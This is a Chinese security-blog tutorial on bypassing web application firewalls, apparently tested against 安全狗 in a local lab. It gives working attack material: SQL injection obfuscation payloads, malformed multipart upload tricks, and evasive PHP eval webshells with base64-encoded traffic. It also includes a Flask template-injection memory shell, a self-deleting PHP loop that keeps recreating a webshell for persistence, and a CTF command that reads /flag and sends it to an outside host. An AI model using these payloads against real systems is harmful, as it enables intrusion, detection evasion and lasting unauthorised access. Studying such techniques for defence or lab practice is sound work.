免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
文章正文
写在前面
本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。(点我了解详情)
知己知彼
WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园[1]
- • 规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。
- • WAF每条规则都会配置动作,对命中规则的请求进行对应的处理。
分类
本文以安全狗为例子进行简单学习
部署位置
请求 → CDN → 云waf → 硬waf → WEB服务器 → 软waf → WEB应用程序(代码waf) → (数据库)
储备知识
waf了解
各种语法
http协议
web服务器特性
WAF绕过
实验环境
没有在代码中进行过滤,如有会说明。
win 10
php 5.6.9
mysql 5.7.26
apache 2.4.39
safe dog V3.5
配置如下
特征
迂回作战
主打一个侧面绕过,利用各种缺陷和特性使得waf没有解析到payload,不与waf的规则和策略硬刚
Web服务器特性
Web服务器解析与waf解析不同绕过
IIS+ASP
- •
%
对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。
select → se%lect
- •
unicode
IIS会自动解码unicode
tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
参数污染
传递多个相同参数,利用waf和web服务器解析的参数不同来进行绕过
Web 环境 | 参数获取函数 | 获取到的参数 |
PHP/Apache | $_GET("par") | last |
JSP/Tomcat | Request.getParameter("par") | first |
Perl(CGI)/Apache | Param("par") | first |
Python/Apache | getvalue("par") | ["first","last"] |
ASP.NET/IIS | Request.QueryString("par") | first,last |
Web应用程序层
Web应用程序层(后端代码)解析与waf解析不同
waf没有根据后端代码来修改策略和规则
编码
对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
json数据支持unicode编码
多数据来源
web应用程序从多个地方取值,如
# php
$param
=
$_SERVER
[
'xxxx'
]
可以从GET,POST,HEADER,METHOD
等地方获取用户提交的参数。
如果waf只对GET,POST
进行检测,没有与后端相适应,就可以绕过。
HTTP协议
分块传输
Burp插件:https://github.com/c0ny1/chunked-coding-converter
Transfer-Encoding: chunked
# 表示BODY的传输编码方式为chunked(无Content-Length字段)
3
# 指明传输的数据长度
a=
1
0
# 表示传输结束
实验
$_REQUEST
[
'id'
] 失败
$_POST
[
'id'
] 成功
keep-alive
http长连接,发送多个数据包请求,感觉跟请求走私很像
Connection
: Keep-Alive
需要关闭
multipart/form-data
推荐阅读
http://www.moonslow.com/article/tencent_waf_bypass
想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass
何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的,连续的**filename=**,中间可以插入
rn
或者n
畸形请求方法
抓包,然后修改请求方法
chrest编码
content-type
: charest=cp037
ibm869
ibm870
ibm871
ibm918
iso-2022-cn
iso-2022-jp
iso-2022-jp-2
iso-2022-kr
iso-8859-1
iso-8859-13
iso-8859-15
waf特性
部署方式,策略与规则缺陷
云waf
通过改变用户域名的DNS解析地址来将Web流量牵引到云WAF引擎集群,经过检测后再回源至真正的Web服务器。
所以如果可以找到目标的真实ip,就可以绕过云waf。
性能缺陷
高并发
用Burp的Trubo Intruder
插件,失败
而且高并发很可能会造成业务系统出现问题。
脏数据
为了防止消耗太多的CPU、内存资源,因此许多WAF只检测前面的2M或4M的内容。所以可以通过填充垃圾数据进行绕过。
实验
POST
id=
1
union
select
1
,
2
,
3
%
23
安全🐕在HTTP BODY
中检测到了关键字,直接返回500。。
POST
a=
8172
*A&id=
-1
union
select
1
,
2
,
3
%
23
注意
waf
可能直接检测长度来拦截
如安全🐕,GET
下是不行的
白名单机制
- • 文件白名单
一些 WAF 为了保证核心功能如登陆功能正常,会在内部设立一个文件白名单,或内容白名单,只要和这些文件或内容有关,无论怎么测试,都不会进行拦截。如:WAF 设立了白名单
/admin
,那么我们的测试 payload 可以通过如下的手法来绕过# 原来被拦截
http:
//a.a/?id=123 and 2*3=6
# 现在不拦截
http:
//a.a/?a=/admin&id=123 and 2*3=6
- • IP白名单
后端通过Header字段获取源IP
X-FORWARDED-FOR等
- • UA白名单
某些WAF可能为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。
User-Agent
UA收集:https://www.0735.pro/archives/study/51.html
静态文件绕过
一些 WAF 为了减少服务器的压力,会对静态文件如.png
、.css
等直接放行,那么我们可以尝试伪装成静态文件来绕过
# 原来被拦截
http:
//a.a/?id=123 and 2*3=6
# 现在不拦截
http:
//a.a/?1.jpg&id=123 and 2*3=6
请求方式
- 1. 一些 WAF 对于
get
请求和post
请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET
请求变成POST
请求有可能绕过拦截。 - 2. 一些 WAF 检测到
POST
请求后,就不会对GET
携带的参数进行过滤检测,因此导致被绕过。
FUZZ
fuzz大法,使用脚本去探测WAF设备对于字符处理是否有异常,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass
测试点
1):get请求处
2):header请求处
3):post urlencode内容处
4):post form-data内容处
基础内容
1)编码过的0-255字符
2)进行编码的0-255字符
3)utf gbk字符
正面硬刚
增增改改混淆视听,使waf的规则和策略失效
基本方针:
- 1. 增删测试waf容忍度,确认关键点
- 2. 本地FUZZ PAYLOAD,先保证可以绕过检测
- 3. 再次进行构造使得后端能够进行解析
sql注入
简单fuzz
可以发现不会对单一的关键字进行过滤,会对一些组合进行过滤
union select
绕过
union (select)
UNiOn/*/1/*/select
UNiOn--+%02%0d%0aselect #注释换行
?id=
-1
UNiOn
/**/
select
1
,
2
,
3
#
?id=
-1
UNiOn
/*/1/*/
select
1
,
2
,
3
#
在/**/
中插入/x/
即可,x至少为一个字符
函数绕过
?id=
-1
union
/*/1/*/
select
1
,
2
,database()
--+
?id=
-1
union
/*/1/*/
select
1
,
2
,database
/**/
()
--+
FUZZ结果
select from
硬刚G
分块传输,脏数据等成功
文件上传
waf检测内容
请求的url
Boundary边界
MIME类型
文件后缀名
文件头
文件内容
访问流量
文件上传数据包
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl
------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name=
"upload_file"
; filename=
"shell.php"
Content-Type: image/png
<?php
phpinfo
();
?>
------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name=
"submit"
submit
------WebKitFormBoundary9zWBDx6vAJHGTpAl--
boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl 定义了BODY中的分界线(因为是谷歌浏览器,所以分界线为----WebKitFormBoundary加上随机字符串)
--boundary
--boundary
# 每两个分界线之间是具体的内容:文件上传,post参数
--boundary--
# 结束标志
安全🐕测试
- • 不允许php后缀上传
- • 上传时,不检查文件内容
- • 访问时,不允许访问含有恶意内容的php文件
绕过后缀
Content-Type: multipart/form-data; boundary=a
增加多个boundary
php:可以在boundary前后添加任意字符
大小写
boundary=boundary=a
Content-Disposition: form-data; name=
"upload_file"
; filename=
"shell.php"
操作:
大小写
Content-Disposition 任意位置换行,空格,脏数据溢出,多个Content-Disposition,form-data(删除,改为*)
多个filename,多个;
文件名单双引号数量
content-type(增删,设置charset)
多个BODY
多个boundary
交换name和filename的顺序
排列组合
Accept-Encoding:
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
Windows
- • NTFS 流文件流 (本地文件系统) - Win32 apps | Microsoft Learn[2]fuzz可以的
::$DATA
::$INDEX_ALLOCATION
20171227163716-2507a226-eae1-1 image-20230517195752567 - • 文件名
文件名尾加任意个. 或者任意个空格(对文件名无影响)
windows文件名的保留字符(不允许出现)
/:*?
" <>|
可以尝试在文件名后加上这些字符
当filename=shell.php:.jpg
结果:
可以上传shell.php,但是会吃掉文件内容。。。
其他的要不不可以,可以的话,上传的文件名为.jpg
- • 文件名长度截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去。
部分成功的,好绕
waf是解析最后一个参数,最后一个;后面的,但是如果最后一个;后面没有参数,
后端就取前一个,waf识别到空
filename=shell.php;
filename=
'shell.php'
;
# 双引号不行
Content-Disposition: form-data; name=
"upload_file"
;filename=shell.php
除了shell.php处,其他地方加换行,或脏数据都可
删除content-type
增加boundary
安全🐕+代码白名单(后缀只允许图片)
上面任意一个绕过(除了;绕过)+
filename=shell.php::$DATA.jpg
绕过文件内容检测--免杀
安全🐕的内容检测随便改一下就过了。
<?php
class
test
{
function
__construct
(
$cmd
){
@
eval
(
$cmd
);
}
}
$cmd
=
$_POST
[
'a'
];
// $cmd = base64_decode($_POST[1]);
$foo
=
new
test
(
$cmd
);
?>
绕过流量
测试时
system
(
"xxx"
)
#命令执行限制
对流量进行一个base64
加密即可
webshell
<?php
class
test
{
function
__construct
(
$cmd
){
@
eval
(
$cmd
);
}
}
$cmd
=
$_POST
[
'a'
];
$cmd
=
base64_decode
(
$_POST
[
1
]);
$foo
=
new
test
(
$cmd
);
?>
蚁剑
编码器
data[pwd] = Buffer.
from
(data[
'_'
]).
toString
(
'base64'
);
选择编码器
webshell免杀
- • waf检测
内容、创建日期、文件大小、通信流量特征
对于静态引擎的绕过,可以通过拆分关键词、
加入能够引发解析干扰的畸形字符等;
而对于动态引擎,需要分析它跟踪了哪些输入
点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则
另类的入口
各种混淆(编码加密,进制转换,反序列化...)
符号干扰,绕过正则,拼接null,n,r,t等
信息差绕过(加入外部因素后才是webshel,量子WEBshell😋)比如截取文件名,目录名,传入随机数种子等
- • 传统webshell
学习:
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云[3]
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/webshell%E5%85%8D%E6%9D%80%E6%80%BB%E7%BB%93/
收集:
https://github.com/tennc/webshell
- • 无文件落地--内存马
python
https://xz.aliyun.com/t/10933#toc-4
通过注册路由处理来实现注入
# flask 1.x 是可以的
?name={{get_flashed_messages|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fglobalsx5fx5f"
)|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fgetitemx5fx5f"
)(
"__builtins__"
)|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fgetitemx5fx5f"
)(
"u0065u0076u0061u006c"
)(
"app.add_ur"
+
"l_rule('/khaz', 'khaz', la"
+
"mbda :__imp"
+
"ort__('o"
+
"s').po"
+
"pen(_request_c"
+
"tx_stack.to"
+
"p.re"
+
"quest.args.get('cmd')).re"
+
"ad())"
,{
'u005fu0072u0065u0071u0075u0065u0073u0074u005fu0063u0074u0078u005fu0073u0074u0061u0063u006b'
:get_flashed_messages|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fglobalsx5fx5f"
)|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fgetitemx5fx5f"
)(
"u005fu0072u0065u0071u0075u0065u0073u0074u005fu0063u0074u0078u005fu0073u0074u0061u0063u006b"
),
'app'
:get_flashed_messages|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fglobalsx5fx5f"
)|attr(
"x5fx5fgetattributex5fx5f"
)(
"x5fx5fgetitemx5fx5f"
)(
"u0063u0075u0072u0072u0065u006eu0074u005fu0061u0070u0070"
)})}}
/khaz?cmd=whoami
# 僵尸进程 记得编码
system(
"python3 -c "while 1:exec(\"flag=__import__('os').popen('cat /flag').read()[:-1];print(flag);io=__import__('requests').get('https://ctf.bugku.com/pvp/submit.html?token=67c0d48c49a89cc434b2f95da944e759&flag='+flag);print(io.content);__import__('time').sleep(600);\");" & "
);
僵尸进程 : 子进程先于父进程退出,父进程又没有处理子进程的退出状态,此时子进程就会称为僵尸进程。
父进程通过sleep(600)
保证子进程优先于父进程退出
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客[4]
php
<?php
set_time_limit
(
0
);
ignore_user_abort
(
1
);
unlink
(
__FILE__
);
while
(
1
) {
$content
=
'<?php @eval($_POST["123"]) ?>'
;
file_put_contents
(
"snert.php"
,
$content
);
usleep
(
10000
);
}
?>
通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
流量绕过
弱特征:HTTP Header
request和response内容
参考之前HW看的文章
- • 哥斯拉【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户[5]
- • 冰蝎利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区[6]冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏[7]冰蝎4.0自定义加密 - 先知社区[8]
- • 蚁剑https://www.yuque.com/antswordproject/antsword/yuakxl
参考文章
https://xz.aliyun.com/t/368
https://xz.aliyun.com/t/10515
[Bypass WAF Cookbook - MayIKissYou](https://wooyun.js.org/drops/Bypass WAF Cookbook.html)
https://www.anquanke.com/post/id/203880
玄武盾的几种绕过姿势 - 先知社区[9]
引用链接
[1]
WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园: https://www.cnblogs.com/realjimmy/p/12937247.html
[2]
文件流 (本地文件系统) - Win32 apps | Microsoft Learn: https://learn.microsoft.com/zh-cn/windows/win32/fileio/file-streams
[3]
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云: https://cloud.tencent.com/developer/article/1625439
[4]
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客: https://blog.csdn.net/Freshduke/article/details/111544319
[5]
【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户: https://www.freebuf.com/sectool/285693.html
[6]
利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区: https://xz.aliyun.com/t/2744
[7]
冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏: https://www.secpulse.com/archives/195173.html
[8]
冰蝎4.0自定义加密 - 先知社区: https://xz.aliyun.com/t/12453
[9]
玄武盾的几种绕过姿势 - 先知社区: https://xz.aliyun.com/t/11607#toc-1
原文始发于微信公众号(Z2O安全攻防):详细|waf绕过学习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论